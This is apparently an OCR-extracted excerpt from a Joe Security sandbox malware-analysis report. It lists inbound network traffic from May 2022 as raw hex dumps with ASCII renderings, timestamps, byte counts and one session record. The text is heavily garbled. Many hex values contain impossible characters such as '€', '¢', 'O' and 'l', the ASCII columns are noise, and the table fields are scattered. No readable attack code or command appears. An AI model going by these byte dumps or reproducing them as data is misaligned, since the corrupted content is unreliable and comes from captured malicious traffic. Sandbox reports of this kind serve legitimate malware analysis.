44 ad b9 a8 4b 3 a0 d7 22 48 67 5f €8 34 ¢3 1c 71 2a 49 31 eb 21 39 91 d6 29 04 b2 a4 01 56 01 08 6d 8f a3 64 {7 ee 64
c0 ca 06 91 83 21 a6 71 00 ba f6 7f 43 f6 ed a9 Ob db 2d 34 ea 52 2c 46 56 07 26 62 e3 5e b4 33 1e 46 94 35 34 58 79 2d
c1 d7 6f 26 33 64 24 3a af 2e bb 2f b3 ef 4b 54 b7 47 a7 71 2e 9a 36 03 25 62 4c 23 37 c4 6¢ c7 cc ed 51 92 ff 4b fe e5 32
d7 9b 1d 43 16 eb a2 a6 23 6a 50 d0 f5 12 64 3e 4a ac fd f6 5b 94 d6 a7 68 82 5b c8 86 d9 d7 28 d3 65 30 69 75 73 c9 af
69 98 7e aa e5 a2 45 ea b8 dc 62 6¢ 23 37 29 e9

Data Ascii: n:zPcof,SJIMAh}K4u75dxDK"Hg_4q*1!9)Vmdd!qC-4R,FV&b"3F54Xy-0&3d$:./KTG(.6%bL#7IQK2C#jPd>
J[h[(eOiusi~Ebl#7)

Data Raw: a0 ee e6 8f 5d 7c 1a 58 9b 19 a7 3d 9c b5 ab a7 4f 00 df e9 a6 ec 49 20 62 aa 73 6a eb e8 8a 7c 56 66 5f cc
a2 9f 7b 85 50 8f 76 b0 af 7d 35 de Oe e6 34 8e f3 4d e7 €9 2e 5f f8 44 94 28 35 24 1f Ob e9 8f Oc cc 49 dd b3 dc 75 81 f7
7 5f cc d7 e4 41 6d 62 e4 ea 1e 87 53 6e 28 ch 31 58 e5 ca 31 36 d0 97 fb 96 18 eb aa 24 fb dc be 77 43 46 05 84 a3 1le
bl e9 81 78 2e 43 27 d0 87 b2 10 e8 55 1d 59 13 b7 2f 94 1a 39 82 b9 1a 5f 03 bf 58 ad 5c¢ f2 45 €8 Oc 6e 1la d8 38 0d d0O
8f 71 35 03 db 91 7d 6e c4 7b 76 b0 8b 18 8a 55 c1 1a 39 89 54 62 f8 40 78 69 00 97 c5 €0 14 77 53 61 24 19 a5 10 0d
76 al bc bb a0 ¢7 25 d9 ¢5 04 9c 32 39 al 2f d4 04 62 a3 96 a4 9a 44 Oe fd df 6e Oc a2 f1 c1 b4 Ob 60 92 69 5e f6 bc 56
3e 93 ef 05 c2 b2 87 11 54 ab 9f a3 ba bf c8 65 fa 01 84

Data Ascii: ]|[X=0I bsj|Vf_{Pv}54M._D(5$lu_AmbSn(1X16$wCFx.C'UY/9_X\En8q5}n{vU9Th @xiwSa$v229/bDn’irV>Te

Data Raw: 93 d9 48 d4 54 7e d7 9d Oe d8 39 90 a3 a7 3a 78 59 bb 97 04 e8 66 55 b5 ef 52 4a 81 c4 ac 68 6b 72 79 9c db
a6 61 c7 4d f2 6d fb c2 69 0a 15 99 7e al e7 ae 3e b6 20 dc 68 79 20 Oc e4 eb 92 e8 b9 f8 ca 58 d4 d9 12 f8 3e 21 ac ec
91 95 8d fa 05 f6 dd 5¢ 91 fe 92 68 57 12 al 92 78 2e 51 aa f5 6f de 35 ad 9d el 8e 4d d9 78 b7 18 ab 4d 6b 35 d6 42 1a
¢4 b3 5f 5f f0 €9 d1 87 95 4e 9c 88 72 7e 2d ba e7 b9 32 38 64 54 83 78 e5 69 2c 1b ¢3 08 1le 5e Ob ed 30 65 e6 2b 3b c1
6a1b f5 ea 74 67 af 00 57 f1 dd f0 f6 9c f2 89 3e 50 06 bc 3b 7e 1le 52 21 65 77 22 62 8f dO fb 82 e4 d8 c4 c1 ed fa 1c 65
€6 1d 7c 24 2a ef 69 45 08 02 64 €8 33 ec Of bl 1c ef 72 63 42 Oe a6 9e 1f 0a d9 c2 Oe 6d 1f 98 18 05 20 f4 29 1d bl 9b
b7 4b 6e ae d8 bf b8 dd 3b el 7c 09 d2 d1 c4 55 05 3a

Data Ascii: HT~9:xYfURJhkryaMmi~> hy X>I\hWx.Qo5MxMK5B__ Nr~-28dTxi,"0e+;jtgW>P;~Rlew"be|$*Ed3rcBm )Kn;|U:

Data Raw: al 3c 0d 54 39 e7 b9 db Oc 0d 70 c1 07 f9 ed 15 a0 25 d4 a0 68 9c 61 b3 4c ¢3 23 d3 df 75 0b 7e al d5 c6 d7
63 ba 9b 5¢ d3 48 53 8b 90 f8 d5 b8 1b 8e 12 84 97 06 08 bb b5 c0 4a 75 39 ac 89 60 5a 0d 1b 32 18 45 e4 59 2c e5 82
59 98 95 ac Ob 66 cf 24 98 ae a6 31 ca 91 d1 d5 4a 2e 74 6 38 48 fa 84 06 df e3 a7 Oe 81 le f6 2b d7 e8 93 73 88 9e b0
dc 05 d0 96 96 11 73 5¢ fc c1 al f3 b9 3a 67 e5 8f e7 b7 ee 52 b2 38 49 2f ba b5 1c 0a 50 84 fe 89 32 57 b7 7 6¢ f1 5e 30
67 d8 31 al 13 d2 bf 9c 36 ed 70 d6 d9 ab ff 7c c4 23 6b 46 b9 a9 5e e4 b7 c2 32 48 67 bd e8 34 ¢3 36 c2 €3 49 37 c7 14
a3 ea 12 8b 15 b2 df cc 40 16 26 f2 f4 68 6e f4 c2 93 5a bl ¢3 bc b0 22 dd f4 c7 b8 fc a7 1d 5e c2 84 Ob da 33 33 f6 79 a5
4e 7e ¢332 4a 2c 74 41 37 09 cd bb df 34 59 6¢ 0f c6

Data Ascii: <T9p%hal#u~c\HSJu9 Z2EY, Y{$1J.t8H+ss\:gR8I/P2WI"0g16p|#kF 2Hg4617 @&hnZ""33yN~2J,tA74YI
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kBytes

Timestamp transferred Direction
2022-05-12 12:19:07 UTC 751 IN
2022-05-12 12:19:07 UTC 759 IN
2022-05-12 12:19:07 UTC 767 IN
2022-05-12 12:19:07 UTC 775 IN
2022-05-12 12:19:07 UTC 783 IN
2022-05-12 12:19:07 UTC 791 IN
2022-05-12 12:19:07 UTC 799 IN
2022-05-12 12:19:07 UTC 807 IN
2022-05-12 12:19:07 UTC 815 IN

Copyright Joe Security LLC 2022

Data

Data Raw: f9 6¢ 1c 6d e2 64 38 34 2f f3 66 27 13 db 65 e2 26 7 18 al 0d fa fa cb 27 2a a6 b2 19 1a b6 b6 1a e3 ac a7 9d
Ob 39 f8 3f c7 b1 93 7b a6 7c 93 d5 bf 71 cc ed 7d 55 16 cd 2e d6 68 16 05 36 02 ef 86 36 a7 3d fd 7d 07 ff 64 c4 6f b9 2a
dc 07 24 cb 1le 2c 73 b6 28 44 82 91 dd fb d2 48 f9 3a b6 f9 da b4 ab 78 1a 2c b3 50 a5 06 9a 9d 40 a4 20 01 b1 a3 ac f4
le 255b b5 7b 43 6a €8 80 14 b8 64 5f ca bf a7 de ab 50 85 04 8a b5 6¢ 2b b5 17 96 23 a7 3c 46 8b c0 2d 2c 28 45 94
22 26 7d 55 31 f8 94 63 1e 49 dd 49 f0 30 b8 d2 e0 85 d1 b6 7e b8 e0 4d e5 f9 02 9d 51 78 b4 6d 35 58 e7 d3 2a Oc el bd
04 8e c0 f9 d4 30 89 Oc b5 7b 4e 5¢ 17 b5 ba 0d ac 86 7b 5f 2f 49 3e e6 b2 f3 9d cd c9 14 4f d6 a2 37 91 01 18 4a a6 26
4e 1b 22 df 83 aa 91 45 e2 1d 4a 32 1e 28 0f 8a b1 57

Data Ascii: Imd84/f'e&*9?{|q}U.h66=}do*$,s(DH:x,P@ %[{Cjd_PI+#<F-,(E"&}U1cll0~MQxm5X*0{N\{_/I>07J&N"EJ2(W

Data Raw: 1f d4 02 39 9b de 9c 68 b1 b1 15 44 14 36 8d 86 a2 6e f0 c4 93 bd c0 0d bc b4 24 bl 24 cd b9 f6 7d 57 00 el
a8 Ob de 3d 4f 00 7b b4 4c 54 08 4f 46 2b 5¢ b0 37 07 cf ee 38 35 59 6e 2b d2 a8 72 24 91 71 4f cc ba 38 a6 6b 0d ef 4b
5e b0 53 8f 97 6¢ c1 18 23 a8 65 46 94 4b d6 79 d3 e0 77 53 €9 f3 5e d6 2b 27 0d 8a dc 43 3e eb a2 a6 4d 66 40 d4 e7
2e e8 6¢ 4a bf cc 51 4a ec c3 b3 7e 02 73 55 97 cf ce 2a ff 2b f7 6b 75 75 ce 27 70 66 7f 87 €3 b4 53 b9 29 dd 62 62 34
c9 9f e2 82 ee a2 eb 3d 4a fd d0 3b 02 d8 20 52 df 96 80 9d c4 56 f1 c2 53 73 ec bb 74 44 6¢ {7 6¢ 79 06 5¢ d2 bb b5 c9
€7 08c9 e0 8e 46 c3 79 ch 69 ab 5¢c 64 30 38 50 30 d5 a0 22 4a fc 17 d4 a9 e9 51 8e 8¢ 69 aa 34 a7 f4 ad 34 36 68 b7 7c
55 81 7c 55 2e cb 09 1a 44 84 b9 39 64 7 3c 36 c6 6¢ 25 34

Data Ascii: 9hD6n$$IW=0O{LTOF+\785Yn+r$qO8kK"SleFKywS"+'C>Mf@.1JQJ~sU*+kuu'pfS)bb4=J; RVSstDIly\Fyi\
d08P0"JQi446h|U|U.D9d<61%4

Data Raw: 36 72 ef 97 f2 84 c6 db e9 2f fa da bc 53 69 4c 0d a2 88 c9 bl e9 a3 48 5¢ 5f 2f f8 a7 dc 0d e0 c9 1e 48 ed cc
2585 18 00 73 9d 33 5f 05 84 bd ab 5¢ 9b 52 9b 10 50 1a d2 46 12 82 99 14 18 2a ac 98 71 6a 9c 45 30 9f 8a 1le a8 8b
c9 1d e9 94 24 79 c8 44 71 Oe 2c 89 ed c5 10 5f 65 65 a8 4e ad 38 3d 7d 2d eb 93 75 c6 0d 7a d2 77 8a 43 14 aa 40 c3
7c 64 be 4a 9b 74 ca Ob fb d7 5d 38 a3 al d1 95 c8 63 ba 95 49 85 aa 56 6e 9a 97 ce c9 b1 85 14 a6 b7 6a a3 bc bd e2
59 a8 2b 82 8c b5 5a 07 13 4a 87 59 e6 5f Oe a4 9f 5b 92 41 aa 25 4c c8 26 b5 cc 49 45 ba 97 fb d4 24 fd 74 f6 32 5b de
af 38 d4 cc c4 b5 81 1e fd 5f cd ce 93 74 d9 9b b3 c4 7e ce 95 8d 2b 56 46 6f ¢7 b0 f6 b6 25 65 f4 91 e5 b4 82 61 b7 2¢
48 11 f2 b0 08 00 29 af €8 9a 3d 52 95 9b d4 f0 4c 3e 58 1c fd

Data Ascii: 6r/SiLH\ /H%s3_\RPF*qjE0$yDq,_eeN8=}-uzwC@|dJt]8cIVnjY+ZJY_[A%L&IE$t2[8_t~+VFo%ea,H)=RL>X

Data Raw: 6d de 3b 5b e8 c5 a6 6a cf 60 d2 60 83 63 61 2a cc 8f 1c c2 dc 01 41 fd 13 f8 40 93 58 89 a4 27 73 3e ba cf 45
3527 6b c5 a3 56 ad 61 89 5b e6 20 37 40 86 c8 3d 4d c9 38 3e da bl 0d ec 90 e9 6a aa 17 48 ba 47 el ef a6 e5 1b 32
55 1f a5 a7 6f 2b 48 22 3e eb 3d 7a 94 cf f1 05 c5 de d8 82 f9 66 0d cc fb Ob f1 46 3a fb 77 20 76 04 1a bb 2d e6 18 9f 7
ff 74 7a 60 bc a4 b2 15 21 4e a6 Oe 6b 74 95 8d 1a 21 39 21 38 88 b0 al b5 65 8e f3 86 ab db 31 2e 7a 10 b3 76 c4 79 03
39 cc 11 fe 93 c4 fa 2f eb 6a 3e 9c d2 ec 9f d6 Ob d4 74 fd 14 10 03 48 8e 39 51 99 8d 9a 07 d2 48 f9 f7 a0 ee e6 9d 71
79 1a 26 9b 1f a7 1a be b5 b4 b8 20 07 df e9 ac c4 14 2a 00 bc 55 50 ea e8 81 4f 48 67 5f 96 a0 b7 53 28 50 85 14 ea bb
7f 3f ae 06 8f 4d d5 2 47 8f e2 c5 5e 8 42 bc 70 36

Data Ascii: m;[j " ca*A@X's>E5'kVa[ 7@=M8>jHG2Uo+H">=zfF:w v-tz'INkt!9!8e1.zvy9/j>tHIQHqy& *UPOHg_S(P?
MG”Bp6

Data Raw: 9d a7 09 c5 e3 ab 13 81 Oe b7 70 ff {8 93 6f c0 29 b5 17 88 ¢8 97 8d 20 69 51 55 85 b0 e3 dc 3d 70 dc f3 f6 bl
3 5b 6f 03 6e 28 a4 a0 03 17 41 9f fa 09 1f 14 b8 f4 74 el 4b 25 65 cd f5 32 29 80 af 9f 14 1b 77 c7 cf 8a 2e ed ec 74 41
ad b3 81 7e f7 b1 d9 96 5b Oc 6f 3e 27 d7 25 b2 3f 9f 24 ¢8 13 29 80 db 9c 3d de b2 15 4a Oc fa c1 23 8b 94 {5 c6 83 d3
c0 1d b3 a3 3e a4 4a d1 a9 ee 16 52 7a ea a3 18 c3 12 66 ef 62 a5 51 39 fc 33 4a 20 4f a6 24 03 da 81 1d 63 5b 6a 23 f8
f0 79 25 9b 66 2a 3f b2 29 a8 10 06 87 49 5e ba 63 9c a6 26 8b 34 04 al f6 64 74 34 d0 72 fb c7 75 51 98 e6 55 c7 26 27
01 8e 03 df 06 fc 74 b4 27 7f 56 c5 fa 36 5¢ 7d 40 bd 6 45 40 b8 e4 b3 7e 9f 60 5f 97 d3 b2 49 c5 4d fc 78 7d 5d 25 23 6e
9e 6d ad e0 b0 40 cf 36 46 4a 5d 35 1f e8 c8 83

Data Ascii: po) iQU=p[on(AtK%e2)w.tA~[0>'%?$)=J#>IRzfbQ93J O$c[j#y%f*?)I"c&4dt4ruQU&'t VE\I@E@~"_IMx
N%#nm@6FJ]5

Data Raw: e6 db 11 6a 79 1a 27 88 3f b6 20 8a a4 ac 29 71 07 de e8 Oe e5 32 22 64 fc 5a 4d e0 c0 63 54 78 6e 77 bf a2
b7 59 ac 07 87 05 93 86 5e 3f a4 06 9a 3c 9e fc 6f €0 ce 2e 59 97 8e 94 28 3f 49 65 39 e6 a7 60 c8 49 db 2c 29 2c a9 cb
db 5d ed 71 e2 98 c8 20 e0 ea 19 e3 8f 69 a6 76 1f 46 f6 ce 3c Oc e4 8a fb 58 d3 e4 d4 38 ec ef e5 6a 52 57 db b7 b7 37
8 f8 b9 4c 08 52 Oa €9 8a dc 50 e3 ¢9 12 5f cb ad ab 82 1e 08 5a ad 12 4e 21 ba 79 bc dO c0 45 e8 0d f0 Ob fa 3d 27 cO
98 1e 14 2a 38 9b 71 66 bc 18 1b 9¢ 80 30 d7 5¢ ¢9 17 cb a0 57 65 c0 2b 3a 60 31 8d fc d8 01 al 46 71 b9 46 b2 9d Ob
7e 2d ec a8 86 d7 2b 66 d4 13 1a 10 14 a0 2e 7c 6f 42 a0 64 3 4d c9 01 e2 ff f9 50 a0 al d6 ab 35 94 ba 9f 54 da 99 45
60 87 75 d4 cb b1 8e 01 ad 92 4a b5 ab a2 46 3d ab 2b 85 06

Data Ascii: jy'? )q2"dZMcTxnwYA?<0.Y(?1e9'1,),]q ivF<X8RW7LRP_ZNIyE="*8qf0\We+: 1FqF~-+f.|0BAMP5TE uJF=+

Data Raw: ed 4e d3 07 56 d7 9d 00 6¢ 00 e7 bb 8f 02 6¢ 41 d2 41 15 e4 76 5b aa 5e 45 46 b8 8f b3 7e 9f 1c Oe 86 d9 d7
30d9 5e fb 6b 64 78 c0 2f 90 99 52 a2 c9 f0 ae 3d df ¢3 6¢ 75 3a 1f f3 e6 9c fd 58 f5 18 5e ee c3 20 18 d7 cd 5e f3 8d 8b
94 ec eafl ee 5f 74 72 a6 74 55 68 fc 95 67 3d 41 dc ac 7e d3 2d 7b e7 cc 88 56 c8 6b c5 7f a6 4d 70 27 d9 4f e2 c5 8e
53 51 f7 00 06 b8 98 47 90 9f 60 70 2f b1 f8 ba ca 26 41 ad 85 47 a6 74 44 46 ce 08 Ob 4d 90 3c 31 49 e4 2f 2d dd 6f 1c
e7 a5 cc 88 ab 3b 4a 91 44 d9 2b 78 1a ea 26 7f 1f a4 b4 5f 1e 48 a0 73 eb 33 ba 94 cf e1 08 e6 d5 e0 54 f8 66 0d 60 ea
03 fd cb 2e d5 7c 3c 7a 1a be f1 2b f5 18 a9 0f f6 74 6d 40 ef b7 4c 12 25 b0 ae 1f 69 Oa bl 9e 1c f1 cf 5a 1f a0 97 3c aa
7e 91 d3 a8 ba d3 24 fa 84 17 el 25 c7 68 03 80 34

Data Ascii: NVIIAAV[*EF~0"kdx/R=Iu:X? ~_trtUhg=A~-{VkMp'OSQGp/&AGtDFM<1I/-0;JD+x&_Hs3Tf".|<z+tm@L%i
Z<~$%h4

Data Raw: ee 0d 52 27 fc bc bb d9 43 ec da 0d 85 49 14 b1 27 c¢7 80 65 98 45 a2 4b df 14 ea 43 6f 12 a8 al c6 b5 02 6¢
44 9e 72 ae a7 50 7f 96 f1 c2 cd 20 98 4d 93 el 60 b2 bc 24 d2 33 b0 49 e4 ad 71 5¢ 96 03 02 ed 27 84 56 15 cd 13 47 cd
5c ce 6d 43 d9 20 0f de 50 6e dd f4 9b dc 5a 34 e5 €9 18 17 e8 e7 69 cc f2 ad 82 9e 5e a8 30 b4 ae 9a 7e cc 0f 82 41 05
d0 97 d2 3c 19 3c ca 5f be e3 de 32 67 €5 93 eb a2 07 40 99 26 31 ae ab b1 02 0a 59 9a f9 92 37 52 b2 ec 80 f1 60 3f 6b
57 0c al 01 d6 be 98 07 19 78 d6 ce 9a e5 80 c5 0f 4a bc be b3 47 d4 2d cd 27 42 1c 64 e0 2b c9 ca b8 04 4e 21 dO 04
26 9e cf 83 15 a7 b8 0a 49 e8 21 dc 85 b2 69 e8 d9 dd 5c d5 06 af b8 26 a3 51 d9 b4 08 78 79 69 e8 27 bc cd e3 37 28 7
9b 46 56 Oc 21 4f 35 51 a7 3d 09 da 9b 2a 39 a7 6b 05 dc cd

Data Ascii: R'CI'eEKColDrP M'$31g\'VG\mC PnZ4i"0~A<<_2g@&1Y7R ?kWxJG-'Bd+N!&I'\&Qxyi'7(FV!O5Q=*9k

Data Raw: 65 da 6b f9 Oc 64 5a e4 f8 77 2c f0 53 64 e2 2d f5 10 b5 1b 7a 65 70 60 13 a7 b2 19 66 6e a6 Oe 6b 08 be 8d
1d a7 40 2f 1d al 8c ad b2 e3 25 db a8 aa 3 ¢3 f0 7a 1c e5 dc ¢5 79 0d 06 ab 41 fe 95 ed 9e df eb 6¢ 1c 59 30 ec 99 b3
451d 75 f7 cc 92 77 60 a3 38 42 9a 82 c9 6a d3 48 7 20 bl ee 1a 13 37 79 1a 24 99 1e 2b al 9c b5 bb b4 2¢ 00 52 4e ac
f4 15 1e b4 bc 5b 47 ¢2 1b 80 54 72 73 d3 9b a0 b7 52 ac a3 85 05 93 86 9e 3f a4 06 98 3a a7 10 47 8b c0 41 93 f9 44 92
5572 65 44 2c ee 03 ab cc 49 dc 52 ea 2b 25 66 {7 5f c7 48 Ob 97 e0 47 cc 19 1f 8c 4f 7e 2a 2d 26 82 7 e6 cf 1d f2 9f da
39 c2 f3 cf 27 8 db 30 14 8f 4e 0d a2 2c 4d b1l e9 a8 4c 23 52 21 dO bc b3 10 e8 da 1d 4c c2 3e 37 89 36 eb 5b be 3a 30
cf ad 68 ad 4f 99 42 64 ab 52 1a d9 38 03 a8 61 le le

Data Ascii: ekdZw,Sd-zep fnk@/%zyAlYOEuw 8BjH 7y$+,RN[GTrsR?:GADUreD,IR+%f_HGO~*-&9'0N,ML#R!L>76[:0h
OBdR8a
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Timestamp

2022-05-12 12:19:07 UTC 823

2022-05-12 12:19:07 UTC 831

2022-05-12 12:19:07 UTC 839

2022-05-12 12:19:07 UTC 847

2022-05-12 12:19:07 UTC 863

2022-05-12 12:19:07 UTC 879

2022-05-12 12:19:07 UTC 895

2022-05-12 12:19:07 UTC 911

Session ID Source IP
4 192.168.11.20
Timestamp

Copyright Joe Security LLC 2022

kBytes
transferred

kBytes
transferred

Direction

IN

Source Port

49778

Direction

Data

Data Raw: ac f6 38 91 d6 e4 0a b7 b0 13 ce al 3f e8 55 dd 30 f5 c6 81 d6 d5 14 94 46 26 b2 53 ed 9a e7 60 3a 66 eb a9
0d cc 56 d4 ff 7a be 29 4b Oc 32 4c 33 33 40 34 09 c1 fc 2a 35 59 6¢ a9 8e d2 79 21 ef 2b 21 2e bf 32 72 14 Ob c7 66 5e
b0 59 9c aa 04 b4 30 15 a2 bb 4e 37 1c c4 52 d5 ce 75 51 d3 b9 5f d6 2f 30 d7 9d 1f ce 11 eb 87 al 30 6e 7b d2 e3 04 fc
6¢c 4a ac el 54 4a 91 c0 b3 7e 95 Oe 53 86 d9 f2 2e c7 4d 5a 6¢ 75 75 d1 22 6e 98 7e ab f1 b6 51 c2 20 dc 01 60 37 1f 58
€9 83 ee bb fd 34 59 f7 d0 2a 07 de de 53 f2 87 b6 8f fa 81 f0 c2 53 cc ff be 65 26 3e ef 92 72 20 7a b1l af 6f d8 42 96 e4
€0 84 45 e7 01 db 6¢ ad 65 42 2a c6 5b 34 8b a2 59 4a 92 fe d0 ab 98 37 65 8¢ 6d 7a 2d b8 cc 87 25 23 02 Oc 82 54 a7
1f 2c 55 ¢3 09 16 46 84 ca 5f 89 e7 38 34 ¢7 00 19 e8 ba

Data Ascii: 8?2UOF&S":fVz)K2L33@4*5Yly!+!.2rf"YON7RuQ_/00n{lJTI~S.MZluu"n~Q "7X4Y*SSe&>r zoBEleB*[4YJ7emz-
%#T,UF_84

Data Raw: cf f8 95 f2 91 ca db 3c 2d fa da 9e f9 3a 2e Oc a4 a4 3c 09 e9 a9 5f b5 66 00 €9 8b 93 a8 e2 c9 14 6e 19 b0 26
85 04 20 a2 bf 30 59 29 2a 16 ca 5d 91 41 c8 b5 52 1a d8 b3 2a ad 8b 38 3e bb db 9b 71 4c 74 67 19 9¢c 95 17 a8 a7 c8
1de5a9 dl 1b ab 45 7b 65 11 31 ed cf 16 ed 70 4b ba 6e 85 aa Oc 7e 2d cd 54 aa c6 0d 6f ce 2c 6f 40 14 a6 05 58 00 05
b5 4c b7 6¢ 72 Ob fd df ef 24 8d b3 f1 9d a6 63 ba 9f 7e Oc bc 54 6e 8f dc fb 32 b0 8f 14 a4 05 17 c2 bb b5 ce 4c 17 2b 84
a4 fa 7f 2a Ob 7b d4 f9 e4 5f 04 eb 9c 52 92 4b b3 2c 62 31 27 9e c7 6a b7 b4 f6 fa d5 4f 12 c9 f6 38 48 6b al 24 d7 c5 8b
ae 81 le 7 Ob e8 c5 93 6f d5 97 8a 38 04 d0 91 a7 a7 04 3d 7f c3 a5 d3 73 3a 67 f4 01 d1 9c eb 67 95 92 42 39 a9 91 40
0d 46 8e 5 90 1f ba bb f4 78 da ce 4a 14 db 23 a5

Data Ascii: <-..<_fn& 0Y)*]AR*8>gLtgE{e1pKn~-To,0@XLIr$c~Tn2L+*{_RK,b1jO8Hk$08=s:9gBI@FxJ#

Data Raw: da 11 2e e7 e0 8e dd ea 4d c9 4a 8b e6 60 2a c6 71 ff dd a2 59 5b d5 ee d1 ab 94 72 09 f2 Oc 71 3e b8 c7 04
3527 6d 30 a7 79 bf 4d 77 f9 c2 08 1a 60 6e db 30 65 f8 33 16 29 6e 0d ec 90 6e 08 cb 16 48 be 61 4c f2 84 e5 8f 0a 78
0d 82 87 c2 1a 48 3e 52 18 2a 67 94 dO fc 36 Oc dc d8 d8 d3 e0 73 01 fa Ob e4 15 81 f8 77 2a €6 27 49 fO Oa c6 b2 b6 1c
fe 54 83 51 f0 a7 ad 33 21 5b a6 Oe 6b 31 32 f1 7b 2a 7 2b 3d Of 9c al b5 f5 a7 6 ba 8d fb 94 f1 7a 16 ed 30 df 79 07 Oe
2a 3807 94 ec b0 06 6d 12 77 70 d3 e8 b9 09 2b d6 74 6d ef 33 34 46 83 89 50 93 80 92 05 c8 48 {3 36 ac c0 35 9d 6d 7f
30 a0 e5 78 a6 06 98 95 Ob a4 20 07 44 cc 81 €6 32 16 fd bd 5b 4d ca d0 9a 54 78 7b 55 €2 59 b6 53 82 7a 03 7b 8 af 7d
3b 84 be 88 33 8f 69 62 a6 d8 08 7f 4a 45 94 28 15 26

Data Ascii: .MJ™*qY[rg>5'm0yMw nOe3)nnHaLxH>R*g6sw*'ITQ3![k12{*+=z0y*8mwp+tm34FPH65mO0x D2[MTx{UYSz{}
;3IbJE(&

Data Raw: e5 08 c5 e7 8b 8¢ 83 1le f7 b1 f2 €3 82 49 ea 01 a0 c1 05 f0 f2 a5 21 7a 42 56 3a a0 f3 cb 10 el 8a fa f5 bl fd
61 15 2e 42 39 33 94 25 14 60 ae 4a 98 37 43 9a 99 56 f0 4c 2b 64 f2 da a0 01 d1 87 1d 60 6b 71 d6 db b2 59 7c c4 23
d9 88 94 b8 7e d7 10 d1 34 4a 3c Ob c0 34 c7 2a 91 d1 48 37 c5 28 bf ef bd 8a 15 b2 90 b7 42 16 20 6a aa 8e 7c d2 e6
27 c2 ca Oc 9c 36 0e b2 59 d9 a8 de 80 54 7b ec 83 89 a4 58 21 fe 7e 94 e5 54 0d 32 d0 Of 71 a5 13 29 68 91 35 34 79 fc
01 d0 d3 64 0d 68 74 20 28 91 be d2 66 2f ef 4f 7e 14 51 8f b7 b6 bf 1d 07 8e 45 e8 21 36 d0 58 4e cc 75 51 8d e9 77 2f
2e 30d1 b7 8¢ b0 70 ea a2 a3 10 cb 43 d4 e3 9e cd 41 58 8a dc f1 48 90 c2 93 ¢7 bd 73 55 99 d5 5 d6 c6 4d f0 41 f3 Ob
be 23 6e 9c 5e 0d f3 b6 51 58 05 f1 70 40 17 b9 €0 eb 83 ce

Data Ascii: 11zBV:a.B93% J7CVL+d kqY [#~4J<4*H7(B j|'6Y T{X!~T2q)h54ydht (f/O~QE!6XNuQw/.0pCAXHSUMA#n"
QXp@

Data Raw: 5b d0 2f dc de db Oe c8 11 32 87 el 34 68 41 b3 e3 1c ef 6a 4a €6 fc 4c 4d 96 c2 0d 76 07 6b 4f 86 8f c2 of ef
4b f6 75 74 7 ¢7 24 6e 94 7c 39 e9 b0 51 76 3b 4e 7a 74 37 22 f9 ad 87 e8 a6 a6 28 ch e0 d6 2a 93 da 98 57 el 9c 6f 9c
19 0d e2 c2 41 65 1c a7 72 55 57 f1 d4 7c 2¢ 52 99 ad fd c6 23 85 28 fb be 61 dd 60 10 4c 9b 6b 67 2a fa 51 04 c3 b0 59
a7 de 27 f6 b9 92 8b ac bc 4b 76 3e 39 fc 3a 2¢ 21 6d f2 82 ¢6 b5 79 57 ed e7 e4 3d 46 86 24 30 7d €0 3e 3e bf 6f 49 c7
bc e8 73 aa 53 65 bc 41 2e f4 c0 ¢8 13 2f c2 01 e0 8a 69 1b 93 39 36 ¢6 35 67 78 ch b4 33 3 dd 47 c6 bd 4b Ob 60 d9 01
a4 18 29 f9 82 23 38 2f 62 e2 el fe 58 9a 1a fe 45 63 da e8 al b2 eb 08 e6 8a 08 6d e6 a8 c9 1e 2d e7 d4 0f dd b7 a7 b5
0a 9c 9f 85 ad db 69 eb 3e 3b cb 2f 78 69 95 09 21 10

Data Ascii: [[24hAJJLMvKOKut$n|9Qv;Nzt7"(*WoAerUW|,R#(a’ Lkg*QY'Kv>9:,!myW=F$0}>>0lsSeA./i965gx3GK")#
8/bXEcm-i>;/xi!

Data Raw: 2f 62 fb Ob e0 a3 2f 5f 75 1f 7e 52 64 16 Oe e4 1c b7 1c 68 74 ef 5a c¢5 a5 e2 13 1c 81 a5 Oe 6d 1b 22 8f ca 29
d2 2d 4d a0 aa 82 b7 6f 82 db 3e ab 66 29 c5 78 46 cd 77 €6 7b 07 11 27 86 fe 6f ee 83 2e bb 6¢ 6¢ 52 d1 ec 99 b9 bc d6
7c e3 ff 1c 76 60 38 1a 53 93 80 b2 bf d2 1b fO 1c a2 b8 cc 21 4e 7b 1a 26 9b 8f a7 Oe 89 80 b8 f5 20 d9 fd eb ac f4 14 a0
4c c1 58 78 e8 b8 80 54 5¢ 66 5f ca a0 21 53 c1 45 b0 07 c9 ae 5¢ 1b a6 Oc 89 33 19 3 e0 88 ff 2c Of f8 06 b0 2a 35 64
44 be e9 25 19 f9 4b 8d 43 80 08 ab c1 7 5f 50 60 22 94 d5 4f b4 ea 9a a8 47 69 a6 7c b0 82 41 d8 09 1f a2 95 55 aa c2
3 ¢5 2c 6¢ dc 4f 78 71 4d 5d a4 69 38 b3 e9 a9 5f b9 43 75 e0 98 b1 40 e2 22 30 4c c5 ba 26 13 1e 2d 5f 8b 32 0f 03 al
4d a9 5¢ 91 45 7e Oc 45 03 ed 2b 5f 80 b6 3b 1c 02
Data Ascii: /b/_u~RdhtZm")-Mo>f)xFw{'0.lIR|v'8S!N{& LXXT\f_!SE\3,*5dD%KC_P "OGi|AU,lI0xqM]i8_Cu@"0L&-
2M\E~E+_;

Data Raw: 90 fa 93 fc a4 f3 a2 49 8e 83 e4 1a 37 3c 7a cb d2 78 b1l 9a cc 2b 70 13 4c 8b de c4 7f 90 ad 14 Oc a0 ba 65
€0 le 4c 3e be 75 3a 03 ea 0d ab 1b f4 45 a0 69 52 7b bd 29 6d e5 99 4c 7b 72 b7 fa 12 09 94 2e 6b f9 eb 6¢c €5 17 a7 6e
97 €2 39 06 af 44 1c 04 45 d4 aa aa 62 3e 3b 15 dc 29 cb 73 69 7e 6a 88 cf e8 a7 7e 18 86 6b f2 24 14 c7 4a aa 21 37 db
2f d8 29 bd 4e 8f ad 1a 73 e3 ce b3 d8 1d 10 df eb 01 bb d9 30 Ob 90 be ba a7 d4 c2 7d ea e6 69 3 db d1 ae 05 c5 4c c9
ch 04 3f 07 5a 2f 8d 35 90 30 57 bf f0 3c f3 26 el 62 2e ad 26 dd ae 2d 41 b8 f2 88 a6 22 5d 1a bb 57 2c 94 84 4a ac 93
¢3 76 f3 53 98 4f b2 ce cb 02 a6 dO cd a5 60 dO fO e8 55 25 09 10 aa c2 9c a9 5f 67 93 fe 80 ee bb 28 d2 69 2¢ 5d c0 dO
66 53 28 7 89 f5 53 26 ba bd 0d a4 29 4c 01 8f 4d c8 62

